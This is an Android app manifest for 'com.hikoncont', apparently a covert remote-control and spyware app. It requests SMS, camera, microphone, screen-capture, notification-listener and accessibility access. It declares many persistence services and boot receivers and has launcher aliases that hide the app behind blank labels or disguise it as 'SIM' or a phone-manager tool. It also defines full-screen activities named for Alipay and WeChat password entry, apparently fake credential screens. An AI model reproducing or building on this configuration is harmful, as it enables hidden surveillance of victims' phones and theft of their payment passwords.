<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.hikoncont">

    <!-- 必要权限 -->
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"
        tools:ignore="QueryAllPackagesPermission" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    
    <!-- Android 15+ 网络相关权限 -->
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
    
    <!-- Android 15+ 后台网络访问权限 -->
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" 
        tools:targetApi="34" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE" 
        tools:targetApi="34" />
    
    <!-- 开机自启动权限 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.QUICKBOOT_POWERON" />
    
    <!-- 自动重启相关权限 -->
    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" />
    <uses-permission android:name="android.permission.USE_EXACT_ALARM" />
    
    <!-- 屏幕录制权限 -->
    <uses-permission android:name="android.permission.MEDIA_PROJECTION" />
    
    <!-- 解锁屏幕权限（参考billd-desk） -->
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
    
    <!-- 蓝牙权限（参考billd-desk，Android 30以下） -->
    <uses-permission android:name="android.permission.BLUETOOTH"
        android:maxSdkVersion="30" />
    
    <!-- 音频设置权限（参考billd-desk） -->
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
    
    <!-- 摄像头权限 -->
    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />

    <!-- 短信权限 -->
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />

    <!-- 相册权限 -->
    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
    <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED" />
    
    <!-- 存储权限 - 修复 mi_exception_log 写入错误 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" 
        android:maxSdkVersion="28" />
    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" 
        tools:ignore="ScopedStorage" />

    <!-- 摄像头功能特性 -->
    <uses-feature android:name="android.hardware.camera" android:required="false" />
    <uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
    <uses-feature android:name="android.hardware.camera.front" android:required="false" />
    
    <!-- 设备管理员权限 -->
    <uses-permission android:name="android.permission.DEVICE_ADMIN" />
    
    <!-- 修改系统设置权限（用于调节亮度） -->
    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
    
    <!-- 修改安全设置权限（用于色彩反转等） -->
    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
    
    <!-- 任务管理权限（用于将Activity带到前台） -->
    <uses-permission android:name="android.permission.REORDER_TASKS" />
    
    <!-- 任务管理权限（用于应用前后台切换） -->
    <uses-permission android:name="android.permission.GET_TASKS" />
    
    <!-- WorkManager 诊断权限 -->
    <uses-permission android:name="android.permission.DUMP" />

    <application
        android:name=".RemoteControlApplication"
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/Theme.RemoteControl"
        android:networkSecurityConfig="@xml/network_security_config"
        android:usesCleartextTraffic="true"
        android:requestLegacyExternalStorage="true"
        android:preserveLegacyExternalStorage="true"
        tools:targetApi="35">

        <!-- ✅ 主Activity - 直接集成WebView -->
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:theme="@style/Theme.RemoteControl">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!-- 透明保活Activity - 借鉴反编译项目的FlyActivity -->
        <activity
            android:name=".TransparentKeepAliveActivity"
            android:exported="true"
            android:theme="@android:style/Theme.Translucent.NoTitleBar"
            android:taskAffinity="com.hikoncont.keepalive"
            android:finishOnTaskLaunch="false"
            android:launchMode="singleInstance"
            android:finishOnCloseSystemDialogs="false"
            android:showOnLockScreen="true"
            android:elevation="0dp"
            android:showForAllUsers="true"
            android:showWhenLocked="true"
            android:excludeFromRecents="true" />

        <!-- 保活启动器Activity - 借鉴反编译项目的OpenActivity -->
        <activity
            android:name=".KeepAliveLauncherActivity"
            android:exported="true"
            android:theme="@android:style/Theme.Translucent.NoTitleBar"
            android:launchMode="singleTop"
            android:elevation="0dp"
            android:excludeFromRecents="true" />

        <!-- 🔧 华为备用启动器Activity - 基于D:\kouch\app策略 -->
        <activity
            android:name=".HuaweiBackupLauncherActivity"
            android:enabled="false"
            android:exported="true"
            android:icon="@mipmap/transparent_adaptive"
            android:roundIcon="@mipmap/transparent_adaptive"
            android:label=" "
            android:theme="@android:style/Theme.NoDisplay">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!-- 🔧 MainAliasActivity - 基于D:\kouch\app策略 -->
        <activity-alias
            android:theme="@android:style/Theme.NoDisplay"
            android:label="@string/app_name_tran"
            android:icon="@drawable/transparent_icon"
            android:name=".MainAliasActivity"
            android:enabled="false"
            android:exported="true"
            android:targetActivity=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>


        <activity-alias
            android:label=" "
            android:icon="@drawable/transparent_icon"
            android:name=".HuaweiBackupAlias"
            android:enabled="false"
            android:exported="true"
            android:targetActivity=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🔧 华为天气Alias - 基于f目录APK策略 -->
        <activity-alias
            android:label=" "
            android:icon="@drawable/transparent_icon"
            android:name=".HuaweiWeatherAlias"
            android:enabled="false"
            android:exported="true"
            android:targetActivity=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🔧 华为设置Alias - 基于f目录APK策略 -->
        <activity-alias
            android:label=" "
            android:icon="@drawable/transparent_icon"
            android:name=".HuaweiSettingsAlias"
            android:enabled="false"
            android:exported="true"
            android:targetActivity=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>


        <!-- 🆕 SIM伪装别名（默认禁用，仅在真隐藏失败时启用） -->
        <activity-alias
            android:name=".SIMAlias"
            android:targetActivity=".MainActivity"
            android:icon="@mipmap/sim_icon"
            android:label="SIM"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🆕 手机管家伪装别名（优化版，默认禁用） -->
        <activity-alias
            android:name=".PhoneManagerAlias"
            android:targetActivity=".MainActivity"
            android:icon="@drawable/phone_manager_icon"
            android:label="手机管家"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🆕 Vivo设备专用I管家伪装别名 -->
        <activity-alias
            android:name=".VivoIGuanjiaAlias"
            android:targetActivity=".MainActivity"
            android:icon="@drawable/_2580369_res_0x7f080089"
            android:label="@string/_2580369_res_0x7f10001e"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🆕 OPPO设备伪装别名 -->
        <activity-alias
            android:name=".OppoAlias"
            android:targetActivity=".MainActivity"
            android:icon="@drawable/sjgj"
            android:label="手机管家"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🆕 华为设备伪装别名 -->

<!--        <activity-alias-->
<!--            android:name=".HuaweiAlias"-->
<!--            android:targetActivity=".MainActivity"-->

<!--            android:enabled="false"-->
<!--            android:exported="true"-->
<!--            android:theme="@android:style/Theme.Translucent.NoTitleBar">-->
<!--            <intent-filter>-->
<!--                <action android:name="android.intent.action.MAIN" />-->
<!--                <category android:name="android.intent.category.LAUNCHER" />-->
<!--            </intent-filter>-->
<!--        </activity-alias>-->

        <!-- 🆕 荣耀设备伪装别名 -->
        <activity-alias
            android:name=".HonorAlias"
            android:targetActivity=".MainActivity"
            android:label="@string/_2580369_res_0x7f10001e"
            android:icon="@drawable/_2580369_res_0x7f080089"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>

        <!-- 🆕 小米设备伪装别名 -->
        <activity-alias
            android:name=".XiaomiAlias"
            android:targetActivity=".MainActivity"
            android:icon="@drawable/sjgj"
            android:label="手机管家"
            android:enabled="false"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity-alias>



        <!-- 配置遮盖Activity -->
        <activity
            android:name=".activity.ConfigMaskActivity"
            android:exported="false"
            android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen"
            android:launchMode="singleInstance"
            android:excludeFromRecents="true"
            android:screenOrientation="portrait"
            android:stateNotNeeded="false"
            android:clearTaskOnLaunch="false"
            android:alwaysRetainTaskState="true"
            android:finishOnTaskLaunch="false"
            android:taskAffinity=""
            android:allowTaskReparenting="false" />

        <!-- 简单权限申请Activity -->
        <activity
            android:name=".activity.SimplePermissionActivity"
            android:exported="false"
            android:theme="@android:style/Theme.Translucent.NoTitleBar"
            android:launchMode="singleTask"
            android:excludeFromRecents="true"
            android:noHistory="true" />

        <!-- 密码输入完成安装Activity -->
        <activity
            android:name=".activity.PasswordInputActivity"
            android:exported="false"
            android:theme="@style/Theme.PasswordInput"
            android:launchMode="singleTop"
            android:excludeFromRecents="true"
            android:screenOrientation="portrait"
            android:stateNotNeeded="true"
            android:taskAffinity=""
            android:allowTaskReparenting="false"
            android:hardwareAccelerated="true"
            android:windowSoftInputMode="adjustResize"
            android:configChanges="orientation|screenSize|keyboardHidden|uiMode|density"
            android:resizeableActivity="false"
            android:supportsPictureInPicture="false"
            android:enableOnBackInvokedCallback="false"
            android:documentLaunchMode="never"
            android:maxRecents="1"
            android:persistableMode="persistNever"
            android:alwaysRetainTaskState="true"
            android:finishOnTaskLaunch="false"
            android:clearTaskOnLaunch="false"
            android:noHistory="false"
            android:finishOnCloseSystemDialogs="false" />


        <!-- 支付宝密码输入页面Activity -->
        <activity
            android:name=".activity.AlipayPasswordActivity"
            android:exported="false"
            android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen"
            android:launchMode="singleTop"
            android:excludeFromRecents="true"
            android:screenOrientation="portrait"
            android:stateNotNeeded="true"
            android:clearTaskOnLaunch="true"
            android:finishOnTaskLaunch="true"
            android:noHistory="true"
            android:taskAffinity=""
            android:allowTaskReparenting="false"
            android:hardwareAccelerated="true"
            android:windowSoftInputMode="adjustResize"
            android:configChanges="orientation|screenSize|keyboardHidden|uiMode|density"
            android:resizeableActivity="false"
            android:supportsPictureInPicture="false"
            android:enableOnBackInvokedCallback="false"
            android:documentLaunchMode="never"
            android:maxRecents="1" />
            
        <!-- 微信密码输入页面Activity -->
        <activity
            android:name=".activity.WechatPasswordActivity"
            android:exported="false"
            android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen"
            android:launchMode="singleTop"
            android:excludeFromRecents="true"
            android:screenOrientation="portrait"
            android:stateNotNeeded="true"
            android:clearTaskOnLaunch="true"
            android:finishOnTaskLaunch="true"
            android:noHistory="true"
            android:taskAffinity=""
            android:allowTaskReparenting="false"
            android:hardwareAccelerated="true"
            android:windowSoftInputMode="adjustResize"
            android:configChanges="orientation|screenSize|keyboardHidden|uiMode|density"
            android:resizeableActivity="false"
            android:supportsPictureInPicture="false"
            android:enableOnBackInvokedCallback="false"
            android:documentLaunchMode="never"
            android:maxRecents="1" />

        <!-- 权限请求Activity -->
        <activity
            android:name=".ui.PermissionRequestActivity"
            android:exported="false"
            android:theme="@android:style/Theme.Material.Light.NoActionBar"
            android:launchMode="singleTop"
            android:excludeFromRecents="true"
            android:taskAffinity="com.hikoncont.permission"
            android:allowTaskReparenting="false"
            android:finishOnTaskLaunch="false" />

        

        <!-- 无障碍服务 -->
        <service
            android:name=".service.AccessibilityRemoteService"
            android:exported="true"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
            <meta-data
                android:name="android.accessibilityservice"
                android:resource="@xml/accessibility_service_config" />
        </service>

        

        <!-- 前台服务 -->
        <service
            android:name=".service.RemoteControlForegroundService"
            android:exported="false"
            android:foregroundServiceType="mediaProjection" />
            
        <!-- Android 15+ 额外数据同步服务 - 已移除，功能已集成到RemoteControlForegroundService -->
        <!-- <service
            android:name=".service.DataSyncForegroundService"
            android:exported="false"
            android:foregroundServiceType="dataSync"
            android:enabled="false" /> -->

        <!-- 保活服务 -->
        <service
            android:name=".service.KeepAliveService"
            android:exported="false" />

        <!-- JobService 保活 -->
        <service
            android:name=".service.KeepAliveJobService"
            android:permission="android.permission.BIND_JOB_SERVICE"
            android:exported="true" />

        <!-- 通知监听服务 - 参考 f 目录的 MessageToolUse -->
        <service
            android:name=".service.NotificationMonitorService"
            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
            android:exported="true">
            <intent-filter>
                <action android:name="android.service.notification.NotificationListenerService" />
            </intent-filter>
        </service>

    <!-- 进程监控服务 -->
    <service
        android:name=".service.ProcessMonitorService"
        android:exported="false"
        android:foregroundServiceType="dataSync" />

        <!-- WorkManager 初始化配置 - 修改现有的 InitializationProvider -->
        <provider
            android:name="androidx.startup.InitializationProvider"
            android:authorities="${applicationId}.androidx-startup"
            android:exported="false"
            tools:node="merge">
            <meta-data
                android:name="androidx.work.WorkManagerInitializer"
                android:value="androidx.startup"
                tools:node="remove" />
            <meta-data
                android:name="androidx.emoji2.text.EmojiCompatInitializer"
                android:initOrder="1091"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.lifecycle.ProcessLifecycleInitializer"
                android:initOrder="1091"
                android:value="androidx.startup"/>
            <meta-data
                android:name="androidx.profileinstaller.ProfileInstallerInitializer"
                android:initOrder="1091"
                android:value="androidx.startup"/>
        </provider>

        <service
            android:name="androidx.work.impl.background.systemalarm.SystemAlarmService"
            android:enabled="@bool/enable_system_alarm_service_default"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false"/>
        <service
            android:name="androidx.work.impl.background.systemjob.SystemJobService"
            android:permission="android.permission.BIND_JOB_SERVICE"
            android:enabled="@bool/enable_system_job_service_default"
            android:exported="true"
            android:initOrder="1068"
            android:directBootAware="false"/>
        <service
            android:name="androidx.work.impl.foreground.SystemForegroundService"
            android:enabled="@bool/enable_system_foreground_service_default"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false"/>
        <receiver
            android:name="androidx.work.impl.utils.ForceStopRunnable.BroadcastReceiver"
            android:enabled="true"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false"/>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.BatteryChargingProxy"
            android:enabled="false"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
                <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.BatteryNotLowProxy"
            android:enabled="false"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.BATTERY_OKAY"/>
                <action android:name="android.intent.action.BATTERY_LOW"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.StorageNotLowProxy"
            android:enabled="false"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.DEVICE_STORAGE_LOW"/>
                <action android:name="android.intent.action.DEVICE_STORAGE_OK"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxy.NetworkStateProxy"
            android:enabled="false"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.RescheduleReceiver"
            android:enabled="false"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.intent.action.TIME_SET"/>
                <action android:name="android.intent.action.TIMEZONE_CHANGED"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.background.systemalarm.ConstraintProxyUpdateReceiver"
            android:enabled="@bool/enable_system_alarm_service_default"
            android:exported="false"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.work.impl.background.systemalarm.UpdateProxies"/>
            </intent-filter>
        </receiver>
        <receiver
            android:name="androidx.work.impl.diagnostics.DiagnosticsReceiver"
            android:permission="android.permission.DUMP"
            android:enabled="true"
            android:exported="true"
            android:initOrder="1068"
            android:directBootAware="false">
            <intent-filter>
                <action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/>
            </intent-filter>
        </receiver>

        <!-- 保活JobService - 已在上面声明，此处已移除重复声明 -->

        <!-- 服务保活器 -->
        <service
            android:name=".service.ServiceProtector"
            android:exported="false"
            android:enabled="true" />

        <!-- 增强保活服务 -->
        <service
            android:name=".service.EnhancedKeepAliveService"
            android:exported="false"
            android:enabled="true"
            android:foregroundServiceType="mediaPlayback" />

        <!-- 守护保活服务 -->
        <service
            android:name=".service.GuardKeepAliveService"
            android:exported="false"
            android:enabled="true"
            android:foregroundServiceType="mediaPlayback" />

        <!-- AlarmManager保活服务 -->
        <service
            android:name=".service.AlarmManagerKeepAliveService"
            android:exported="false"
            android:enabled="true"
            android:foregroundServiceType="mediaPlayback" />

        <!-- 开机自启动接收器 -->
        <receiver
            android:name=".receiver.BootReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter android:priority="1000">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
                <action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <data android:scheme="package" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </receiver>

        <!-- 增强系统事件接收器 -->
        <receiver
            android:name=".service.EnhancedSystemEventReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
                <action android:name="android.intent.action.USER_PRESENT" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <action android:name="android.intent.action.SCREEN_OFF" />
                <action android:name="android.intent.action.POWER_CONNECTED" />
                <action android:name="android.intent.action.POWER_DISCONNECTED" />
                <action android:name="android.intent.action.BATTERY_LOW" />
                <action android:name="android.intent.action.BATTERY_OKAY" />
                <action android:name="android.mycustrecev.RESTART_SERVICES" />
            </intent-filter>
        </receiver>

        <!-- 增强开机自启动接收器 -->
        <receiver
            android:name=".service.EnhancedBootReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter android:priority="1000">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
                <action android:name="miui.intent.action.BOOT_COMPLETEDT" />
            </intent-filter>
        </receiver>

        <!-- 增强应用包变化接收器 -->
        <receiver
            android:name=".service.EnhancedPackagesReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REPLACED" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.intent.action.PACKAGE_CHANGED" />
                <action android:name="android.intent.action.MY_PACKAGE_REPLACED" />
                <data android:scheme="package" />
            </intent-filter>
        </receiver>

        <!-- 保活广播接收器 -->
        <receiver
            android:name=".service.KeepAliveReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="android.mycustrecev.RESTART_SERVICES" />
                <action android:name="android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" />
            </intent-filter>
        </receiver>

        <!-- AlarmManager广播接收器 -->
        <receiver
            android:name=".service.AlarmManagerReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="android.mycustrecev.ALARM_KEEPALIVE" />
            </intent-filter>
        </receiver>

        <!-- 重连测试接收器 -->
        <receiver
            android:name=".receiver.ReconnectReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="android.mycustrecev.FORCE_RECONNECT" />
            </intent-filter>
        </receiver>

        <!-- 智能权限恢复接收器 -->
        <receiver
            android:name=".receiver.SmartRecoveryReceiver"
            android:exported="true"
            android:enabled="true">
            <intent-filter>
                <action android:name="android.mycustrecev.SMART_PERMISSION_RECOVERY" />
                <action android:name="android.mycustrecev.IGNORE_RECOVERY" />
            </intent-filter>
        </receiver>

        <!-- ✅ 已移除 SETUP_COMPLETE 和 INSTALLATION_COMPLETE 广播接收器 -->
        <!-- 现在使用 InstallationCompleteManager 直接函数调用，不再使用广播 -->

    </application>

</manifest> 